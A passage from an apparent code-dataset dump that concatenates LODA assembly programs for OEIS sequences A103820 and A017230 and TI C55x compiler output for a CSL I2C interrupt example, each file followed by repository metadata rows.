33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
37.891566
2,999
0.655803
2b77a46e01afd2ca36954e0be7a529162cfcea84
543
asm
Assembly
programs/oeis/103/A103820.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/103/A103820.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/103/A103820.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A103820: Whitney transform of 3^n. ; 1,4,16,61,232,880,3337,12652,47968,181861,689488,2614048,9910609,37573972,142453744,540083149,2047610680,7763081488,29432076505,111585473980,423052651456,1603914376309,6080901083296,23054446378816,87406042386337,331381466295460,1256362526045392,4763231977022557 add $0,1 mov $1,3 mov $4,1 lpb $0,1 sub $0,1 mov $2,3 trn $3,2 add $4,2 add $1,$4 add $1,36 mul $1,3 mov $5,$3 add $5,3 cmp $2,$5 mov $3,5 add $3,$1 mov $4,$2 sub $5,8 gcd $4,$5 lpe div $1,369 mul $1,3 add $1,1
20.111111
263
0.694291
043acc135868aab0ea94d2ace73cf29b58ab2e8d
2,736
asm
Assembly
programs/oeis/017/A017230.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017230.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017230.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017230: a(n) = (9*n + 5)^10. ; 9765625,289254654976,41426511213649,1125899906842624,13422659310152401,97656250000000000,511116753300641401,2113922820157210624,7326680472586200649,22130157888803070976,59873693923837890625,148024428491834392576,339456738992222314849,730463141542791783424,1488377021731616101801,2892546549760000000000,5393400662063408511001,9695514708609891533824,16871927924929095158449,28518499943362777317376,46958831761893056640625,75512230594040653874176,118839380482575369225049,183382804125988210868224,277921878692682183940201,414265112136490000000000,608105609331265108509601,880069171864760718721024,1256988294225653106805249,1773439455035223723467776,2473585567569732666015625,3413370261743737190219776,4663115832631376345704249,6310582221144799758337024,8464550303319308288547601,11258999068426240000000000,14857952975500019812957201,19461082905477938625332224,25310151684662980796181049,32696403157284220935602176,41969002243198805166015625,53544642343907161646949376,67918445868691693423112449,85676293555491636798029824,107508728670745863687204001,134226593101524010000000000,166778563814477267272573801,206270770162126324759527424,253988685080418137223925849,311421496354978262978200576,380289177849714310556640625,462572494903041393977982976,560546193016655269118409649,676815634502125850495386624,814357163924275931995589401,976562500000000000000000000,1167287469089518876200479401,1390905413566710403399066624,1652365627188757333968279649,1957257189115563840662142976,2311878588468864486337890625,2723313552282336906111640576,3199513511389984715762155849,3749387161243233107049447424,4382897597850229067263783801,5111167533006414010000000000,5946593117746191670096194001,6902966928504101241119309824,7995610696842977761957082449,9241518390798791533220709376,10659510283919858707509765625,12270398676954558993374642176,14097165966879236484266511049,16165155788569248814124852224,18502277985913820993752267201,21139228201572106240000000000,24109722907876309716269637601,27450750735620545201161217024,31202840992643922135499774249,35410350300235854109685579776,40121768312473392486572265625,45390043521657173353116107776,51272930192056975200093235249,57833357504222571486483841024,65139822033173179396907919601,73266804725862006490000000000,82295213586433833406065130201,92312853321965896196999348224,103414923246618199003519395049,115704544788431449577462834176,129293319990411719373525390625,144301922446043339458531557376,160860722158988106150421688449,179110445867472238946818253824,199202874425745360777540021001,221301578888030709760000000000,245582696994585495294285391801,272235751814867432349109863424,301464514359370679003984584849,333487912029464316570108952576 mul $0,9 add $0,5 pow $0,10
390.857143
2,674
0.951389
ad9c844572b1d5705bd11b1da58a252d75e21d39
187,161
asm
Assembly
tmp1/c55x-sim2/foo/Debug/csl_i2c_intc_example.asm
jwestmoreland/eZdsp-DBG-sim
f6eacd75d4f928dec9c751545e9e919d052e4ade
[ "MIT" ]
1
2020-08-27T11:31:13.000Z
2020-08-27T11:31:13.000Z
tmp1/c55x-sim2/foo/Debug/csl_i2c_intc_example.asm
jwestmoreland/eZdsp-DBG-sim
f6eacd75d4f928dec9c751545e9e919d052e4ade
[ "MIT" ]
null
null
null
tmp1/c55x-sim2/foo/Debug/csl_i2c_intc_example.asm
jwestmoreland/eZdsp-DBG-sim
f6eacd75d4f928dec9c751545e9e919d052e4ade
[ "MIT" ]
null
null
null
;******************************************************************************* ;* TMS320C55x C/C++ Codegen PC v4.4.1 * ;* Date/Time created: Sat Sep 29 23:09:35 2018 * ;******************************************************************************* .compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf .mmregs .cpl_on .arms_on .c54cm_off .asg AR6, FP .asg XAR6, XFP .asg DPH, MDP .model call=c55_std .model mem=large .noremark 5002 ; code respects overwrite rules ;******************************************************************************* ;* GLOBAL FILE PARAMETERS * ;* * ;* Architecture : TMS320C55x * ;* Optimizing for : Speed * ;* Memory : Large Model (23-Bit Data Pointers) * ;* Calls : Normal Library ASM calls * ;* Debug Info : Standard TI Debug Information * ;******************************************************************************* $C$DW$CU .dwtag DW_TAG_compile_unit .dwattr $C$DW$CU, DW_AT_name("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated") .dwattr $C$DW$CU, DW_AT_TI_version(0x01) .dwattr $C$DW$CU, DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug") ;****************************************************************************** ;* CINIT RECORDS * ;****************************************************************************** .sect ".cinit" .align 1 .field 1,16 .field _stopDetected+0,24 .field 0,8 .field 0,16 ; _stopDetected @ 0 .sect ".cinit" .align 1 .field 1,16 .field _PaSs_StAtE+0,24 .field 0,8 .field 1,16 ; _PaSs_StAtE @ 0 .sect ".cinit" .align 1 .field 1,16 .field _PaSs+0,24 .field 0,8 .field 0,16 ; _PaSs @ 0 $C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("printf") .dwattr $C$DW$1, DW_AT_TI_symbol_name("_printf") .dwattr $C$DW$1, DW_AT_type(*$C$DW$T$10) .dwattr $C$DW$1, DW_AT_declaration .dwattr $C$DW$1, DW_AT_external $C$DW$2 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$2, DW_AT_type(*$C$DW$T$95) $C$DW$3 .dwtag DW_TAG_unspecified_parameters .dwendtag $C$DW$1 $C$DW$4 .dwtag DW_TAG_subprogram, DW_AT_name("I2C_init") .dwattr $C$DW$4, DW_AT_TI_symbol_name("_I2C_init") .dwattr $C$DW$4, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$4, DW_AT_declaration .dwattr $C$DW$4, DW_AT_external $C$DW$5 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$5, DW_AT_type(*$C$DW$T$19) .dwendtag $C$DW$4 $C$DW$6 .dwtag DW_TAG_subprogram, DW_AT_name("I2C_config") .dwattr $C$DW$6, DW_AT_TI_symbol_name("_I2C_config") .dwattr $C$DW$6, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$6, DW_AT_declaration .dwattr $C$DW$6, DW_AT_external $C$DW$7 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$7, DW_AT_type(*$C$DW$T$58) .dwendtag $C$DW$6 $C$DW$8 .dwtag DW_TAG_subprogram, DW_AT_name("I2C_getConfig") .dwattr $C$DW$8, DW_AT_TI_symbol_name("_I2C_getConfig") .dwattr $C$DW$8, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$8, DW_AT_declaration .dwattr $C$DW$8, DW_AT_external $C$DW$9 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$9, DW_AT_type(*$C$DW$T$58) .dwendtag $C$DW$8 $C$DW$10 .dwtag DW_TAG_subprogram, DW_AT_name("I2C_eventEnable") .dwattr $C$DW$10, DW_AT_TI_symbol_name("_I2C_eventEnable") .dwattr $C$DW$10, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$10, DW_AT_declaration .dwattr $C$DW$10, DW_AT_external $C$DW$11 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$11, DW_AT_type(*$C$DW$T$60) .dwendtag $C$DW$10 $C$DW$12 .dwtag DW_TAG_subprogram, DW_AT_name("I2C_eventDisable") .dwattr $C$DW$12, DW_AT_TI_symbol_name("_I2C_eventDisable") .dwattr $C$DW$12, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$12, DW_AT_declaration .dwattr $C$DW$12, DW_AT_external $C$DW$13 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$13, DW_AT_type(*$C$DW$T$60) .dwendtag $C$DW$12 $C$DW$14 .dwtag DW_TAG_subprogram, DW_AT_name("I2C_setCallback") .dwattr $C$DW$14, DW_AT_TI_symbol_name("_I2C_setCallback") .dwattr $C$DW$14, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$14, DW_AT_declaration .dwattr $C$DW$14, DW_AT_external $C$DW$15 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$15, DW_AT_type(*$C$DW$T$62) .dwendtag $C$DW$14 $C$DW$16 .dwtag DW_TAG_subprogram, DW_AT_name("I2C_getEventId") .dwattr $C$DW$16, DW_AT_TI_symbol_name("_I2C_getEventId") .dwattr $C$DW$16, DW_AT_type(*$C$DW$T$69) .dwattr $C$DW$16, DW_AT_declaration .dwattr $C$DW$16, DW_AT_external $C$DW$17 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_plug") .dwattr $C$DW$17, DW_AT_TI_symbol_name("_IRQ_plug") .dwattr $C$DW$17, DW_AT_type(*$C$DW$T$10) .dwattr $C$DW$17, DW_AT_declaration .dwattr $C$DW$17, DW_AT_external $C$DW$18 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$18, DW_AT_type(*$C$DW$T$19) $C$DW$19 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$19, DW_AT_type(*$C$DW$T$29) .dwendtag $C$DW$17 $C$DW$20 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_clearAll") .dwattr $C$DW$20, DW_AT_TI_symbol_name("_IRQ_clearAll") .dwattr $C$DW$20, DW_AT_declaration .dwattr $C$DW$20, DW_AT_external $C$DW$21 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_disableAll") .dwattr $C$DW$21, DW_AT_TI_symbol_name("_IRQ_disableAll") .dwattr $C$DW$21, DW_AT_declaration .dwattr $C$DW$21, DW_AT_external $C$DW$22 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_enable") .dwattr $C$DW$22, DW_AT_TI_symbol_name("_IRQ_enable") .dwattr $C$DW$22, DW_AT_type(*$C$DW$T$10) .dwattr $C$DW$22, DW_AT_declaration .dwattr $C$DW$22, DW_AT_external $C$DW$23 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$23, DW_AT_type(*$C$DW$T$19) .dwendtag $C$DW$22 $C$DW$24 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_setVecs") .dwattr $C$DW$24, DW_AT_TI_symbol_name("_IRQ_setVecs") .dwattr $C$DW$24, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$24, DW_AT_declaration .dwattr $C$DW$24, DW_AT_external $C$DW$25 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$25, DW_AT_type(*$C$DW$T$30) .dwendtag $C$DW$24 $C$DW$26 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_globalDisable") .dwattr $C$DW$26, DW_AT_TI_symbol_name("_IRQ_globalDisable") .dwattr $C$DW$26, DW_AT_type(*$C$DW$T$90) .dwattr $C$DW$26, DW_AT_declaration .dwattr $C$DW$26, DW_AT_external $C$DW$27 .dwtag DW_TAG_subprogram, DW_AT_name("IRQ_globalEnable") .dwattr $C$DW$27, DW_AT_TI_symbol_name("_IRQ_globalEnable") .dwattr $C$DW$27, DW_AT_type(*$C$DW$T$90) .dwattr $C$DW$27, DW_AT_declaration .dwattr $C$DW$27, DW_AT_external $C$DW$28 .dwtag DW_TAG_subprogram, DW_AT_name("VECSTART") .dwattr $C$DW$28, DW_AT_TI_symbol_name("_VECSTART") .dwattr $C$DW$28, DW_AT_declaration .dwattr $C$DW$28, DW_AT_external $C$DW$29 .dwtag DW_TAG_variable, DW_AT_name("i2cHandle") .dwattr $C$DW$29, DW_AT_TI_symbol_name("_i2cHandle") .dwattr $C$DW$29, DW_AT_type(*$C$DW$T$65) .dwattr $C$DW$29, DW_AT_declaration .dwattr $C$DW$29, DW_AT_external .global _gI2cWrBuf .bss _gI2cWrBuf,66,0,0 $C$DW$30 .dwtag DW_TAG_variable, DW_AT_name("gI2cWrBuf") .dwattr $C$DW$30, DW_AT_TI_symbol_name("_gI2cWrBuf") .dwattr $C$DW$30, DW_AT_location[DW_OP_addr _gI2cWrBuf] .dwattr $C$DW$30, DW_AT_type(*$C$DW$T$87) .dwattr $C$DW$30, DW_AT_external .global _gI2cRdBuf .bss _gI2cRdBuf,64,0,0 $C$DW$31 .dwtag DW_TAG_variable, DW_AT_name("gI2cRdBuf") .dwattr $C$DW$31, DW_AT_TI_symbol_name("_gI2cRdBuf") .dwattr $C$DW$31, DW_AT_location[DW_OP_addr _gI2cRdBuf] .dwattr $C$DW$31, DW_AT_type(*$C$DW$T$88) .dwattr $C$DW$31, DW_AT_external .global _i2cSetup .bss _i2cSetup,10,0,2 $C$DW$32 .dwtag DW_TAG_variable, DW_AT_name("i2cSetup") .dwattr $C$DW$32, DW_AT_TI_symbol_name("_i2cSetup") .dwattr $C$DW$32, DW_AT_location[DW_OP_addr _i2cSetup] .dwattr $C$DW$32, DW_AT_type(*$C$DW$T$66) .dwattr $C$DW$32, DW_AT_external .global _i2cConfig .bss _i2cConfig,9,0,0 $C$DW$33 .dwtag DW_TAG_variable, DW_AT_name("i2cConfig") .dwattr $C$DW$33, DW_AT_TI_symbol_name("_i2cConfig") .dwattr $C$DW$33, DW_AT_location[DW_OP_addr _i2cConfig] .dwattr $C$DW$33, DW_AT_type(*$C$DW$T$57) .dwattr $C$DW$33, DW_AT_external .global _i2cGetConfig .bss _i2cGetConfig,9,0,0 $C$DW$34 .dwtag DW_TAG_variable, DW_AT_name("i2cGetConfig") .dwattr $C$DW$34, DW_AT_TI_symbol_name("_i2cGetConfig") .dwattr $C$DW$34, DW_AT_location[DW_OP_addr _i2cGetConfig] .dwattr $C$DW$34, DW_AT_type(*$C$DW$T$57) .dwattr $C$DW$34, DW_AT_external .global _config .bss _config,8,0,2 $C$DW$35 .dwtag DW_TAG_variable, DW_AT_name("config") .dwattr $C$DW$35, DW_AT_TI_symbol_name("_config") .dwattr $C$DW$35, DW_AT_location[DW_OP_addr _config] .dwattr $C$DW$35, DW_AT_type(*$C$DW$T$56) .dwattr $C$DW$35, DW_AT_external .global _i2cIsrAddr .bss _i2cIsrAddr,14,0,2 $C$DW$36 .dwtag DW_TAG_variable, DW_AT_name("i2cIsrAddr") .dwattr $C$DW$36, DW_AT_TI_symbol_name("_i2cIsrAddr") .dwattr $C$DW$36, DW_AT_location[DW_OP_addr _i2cIsrAddr] .dwattr $C$DW$36, DW_AT_type(*$C$DW$T$61) .dwattr $C$DW$36, DW_AT_external .global _dataLength .bss _dataLength,1,0,0 $C$DW$37 .dwtag DW_TAG_variable, DW_AT_name("dataLength") .dwattr $C$DW$37, DW_AT_TI_symbol_name("_dataLength") .dwattr $C$DW$37, DW_AT_location[DW_OP_addr _dataLength] .dwattr $C$DW$37, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$37, DW_AT_external .global _i2cTxCount .bss _i2cTxCount,1,0,0 $C$DW$38 .dwtag DW_TAG_variable, DW_AT_name("i2cTxCount") .dwattr $C$DW$38, DW_AT_TI_symbol_name("_i2cTxCount") .dwattr $C$DW$38, DW_AT_location[DW_OP_addr _i2cTxCount] .dwattr $C$DW$38, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$38, DW_AT_external .global _i2cRxCount .bss _i2cRxCount,1,0,0 $C$DW$39 .dwtag DW_TAG_variable, DW_AT_name("i2cRxCount") .dwattr $C$DW$39, DW_AT_TI_symbol_name("_i2cRxCount") .dwattr $C$DW$39, DW_AT_location[DW_OP_addr _i2cRxCount] .dwattr $C$DW$39, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$39, DW_AT_external .global _i2cErrInTx .bss _i2cErrInTx,1,0,0 $C$DW$40 .dwtag DW_TAG_variable, DW_AT_name("i2cErrInTx") .dwattr $C$DW$40, DW_AT_TI_symbol_name("_i2cErrInTx") .dwattr $C$DW$40, DW_AT_location[DW_OP_addr _i2cErrInTx] .dwattr $C$DW$40, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$40, DW_AT_external .global _stopDetected .bss _stopDetected,1,0,0 $C$DW$41 .dwtag DW_TAG_variable, DW_AT_name("stopDetected") .dwattr $C$DW$41, DW_AT_TI_symbol_name("_stopDetected") .dwattr $C$DW$41, DW_AT_location[DW_OP_addr _stopDetected] .dwattr $C$DW$41, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$41, DW_AT_external .global _PaSs_StAtE .bss _PaSs_StAtE,1,0,0 $C$DW$42 .dwtag DW_TAG_variable, DW_AT_name("PaSs_StAtE") .dwattr $C$DW$42, DW_AT_TI_symbol_name("_PaSs_StAtE") .dwattr $C$DW$42, DW_AT_location[DW_OP_addr _PaSs_StAtE] .dwattr $C$DW$42, DW_AT_type(*$C$DW$T$83) .dwattr $C$DW$42, DW_AT_external .global _PaSs .bss _PaSs,1,0,0 $C$DW$43 .dwtag DW_TAG_variable, DW_AT_name("PaSs") .dwattr $C$DW$43, DW_AT_TI_symbol_name("_PaSs") .dwattr $C$DW$43, DW_AT_location[DW_OP_addr _PaSs] .dwattr $C$DW$43, DW_AT_type(*$C$DW$T$83) .dwattr $C$DW$43, DW_AT_external ; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\2174812 .sect ".text" .align 4 .global _main $C$DW$44 .dwtag DW_TAG_subprogram, DW_AT_name("main") .dwattr $C$DW$44, DW_AT_low_pc(_main) .dwattr $C$DW$44, DW_AT_high_pc(0x00) .dwattr $C$DW$44, DW_AT_TI_symbol_name("_main") .dwattr $C$DW$44, DW_AT_external .dwattr $C$DW$44, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$44, DW_AT_TI_begin_line(0x92) .dwattr $C$DW$44, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$44, DW_AT_TI_max_frame_size(0x04) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 147,column 1,is_stmt,address _main .dwfde $C$DW$CIE, _main ;******************************************************************************* ;* FUNCTION NAME: main * ;* * ;* Function Uses Regs : T0,AR1,AR3,XAR3,SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 4 words * ;* (1 return address/alignment) * ;* (2 function parameters) * ;* (1 local values) * ;* Min System Stack : 1 word * ;******************************************************************************* _main: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 AADD #-3, SP .dwcfi cfa_offset, 4 $C$DW$45 .dwtag DW_TAG_variable, DW_AT_name("result") .dwattr $C$DW$45, DW_AT_TI_symbol_name("_result") .dwattr $C$DW$45, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$45, DW_AT_location[DW_OP_bregx 0x24 2] .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 150,column 2,is_stmt AMOV #$C$FSL1, XAR3 ; |150| MOV XAR3, dbl(*SP(#0)) $C$DW$46 .dwtag DW_TAG_TI_branch .dwattr $C$DW$46, DW_AT_low_pc(0x00) .dwattr $C$DW$46, DW_AT_name("_printf") .dwattr $C$DW$46, DW_AT_TI_call CALL #_printf ; |150| ; call occurs [#_printf] ; |150| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 152,column 2,is_stmt $C$DW$47 .dwtag DW_TAG_TI_branch .dwattr $C$DW$47, DW_AT_low_pc(0x00) .dwattr $C$DW$47, DW_AT_name("_CSL_i2cIntcTest") .dwattr $C$DW$47, DW_AT_TI_call CALL #_CSL_i2cIntcTest ; |152| ; call occurs [#_CSL_i2cIntcTest] ; |152| MOV T0, *SP(#2) ; |152| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 154,column 2,is_stmt MOV T0, AR1 BCC $C$L1,AR1 != #0 ; |154| ; branchcc occurs ; |154| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 156,column 3,is_stmt AMOV #$C$FSL2, XAR3 ; |156| MOV XAR3, dbl(*SP(#0)) $C$DW$48 .dwtag DW_TAG_TI_branch .dwattr $C$DW$48, DW_AT_low_pc(0x00) .dwattr $C$DW$48, DW_AT_name("_printf") .dwattr $C$DW$48, DW_AT_TI_call CALL #_printf ; |156| ; call occurs [#_printf] ; |156| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 157,column 2,is_stmt B $C$L2 ; |157| ; branch occurs ; |157| $C$L1: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 160,column 3,is_stmt AMOV #$C$FSL3, XAR3 ; |160| MOV XAR3, dbl(*SP(#0)) $C$DW$49 .dwtag DW_TAG_TI_branch .dwattr $C$DW$49, DW_AT_low_pc(0x00) .dwattr $C$DW$49, DW_AT_name("_printf") .dwattr $C$DW$49, DW_AT_TI_call CALL #_printf ; |160| ; call occurs [#_printf] ; |160| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 163,column 9,is_stmt MOV #0, *(#_PaSs_StAtE) ; |163| $C$L2: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 168,column 9,is_stmt MOV *(#_PaSs_StAtE), AR1 ; |168| MOV AR1, *(#_PaSs) ; |168| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 173,column 1,is_stmt AADD #3, SP .dwcfi cfa_offset, 1 $C$DW$50 .dwtag DW_TAG_TI_branch .dwattr $C$DW$50, DW_AT_low_pc(0x00) .dwattr $C$DW$50, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$44, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$44, DW_AT_TI_end_line(0xad) .dwattr $C$DW$44, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$44 .sect ".text" .align 4 .global _CSL_i2cIntcTest $C$DW$51 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cIntcTest") .dwattr $C$DW$51, DW_AT_low_pc(_CSL_i2cIntcTest) .dwattr $C$DW$51, DW_AT_high_pc(0x00) .dwattr $C$DW$51, DW_AT_TI_symbol_name("_CSL_i2cIntcTest") .dwattr $C$DW$51, DW_AT_external .dwattr $C$DW$51, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$51, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$51, DW_AT_TI_begin_line(0xb7) .dwattr $C$DW$51, DW_AT_TI_begin_column(0x0d) .dwattr $C$DW$51, DW_AT_TI_max_frame_size(0x06) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 184,column 1,is_stmt,address _CSL_i2cIntcTest .dwfde $C$DW$CIE, _CSL_i2cIntcTest ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cIntcTest * ;* * ;* Function Uses Regs : AC0,AC0,T0,AR0,XAR0,AR1,AR2,AR3,XAR3,SP,CARRY,TC1, * ;* M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 6 words * ;* (1 return address/alignment) * ;* (2 function parameters) * ;* (3 local values) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cIntcTest: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 AADD #-5, SP .dwcfi cfa_offset, 6 $C$DW$52 .dwtag DW_TAG_variable, DW_AT_name("status") .dwattr $C$DW$52, DW_AT_TI_symbol_name("_status") .dwattr $C$DW$52, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$52, DW_AT_location[DW_OP_bregx 0x24 2] $C$DW$53 .dwtag DW_TAG_variable, DW_AT_name("result") .dwattr $C$DW$53, DW_AT_TI_symbol_name("_result") .dwattr $C$DW$53, DW_AT_type(*$C$DW$T$70) .dwattr $C$DW$53, DW_AT_location[DW_OP_bregx 0x24 3] $C$DW$54 .dwtag DW_TAG_variable, DW_AT_name("looper") .dwattr $C$DW$54, DW_AT_TI_symbol_name("_looper") .dwattr $C$DW$54, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$54, DW_AT_location[DW_OP_bregx 0x24 4] .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 189,column 2,is_stmt MOV #1, *SP(#3) ; |189| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 192,column 2,is_stmt MOV #0, *(#_gI2cWrBuf) ; |192| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 193,column 2,is_stmt MOV #0, *(#(_gI2cWrBuf+1)) ; |193| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 196,column 6,is_stmt MOV #0, *SP(#4) ; |196| NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 196,column 18,is_stmt MOV #64, AR2 ; |196| MOV *SP(#4), AR1 ; |196| CMPU AR1 >= AR2, TC1 ; |196| BCC $C$L4,TC1 ; |196| ; branchcc occurs ; |196| $C$L3: $C$DW$L$_CSL_i2cIntcTest$2$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 198,column 3,is_stmt MOV *SP(#4), T0 ; |198| ADD #2, T0 ; |198| AMOV #_gI2cWrBuf, XAR3 ; |198| MOV *SP(#4), AR1 ; |198| MOV AR1, *AR3(T0) ; |198| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 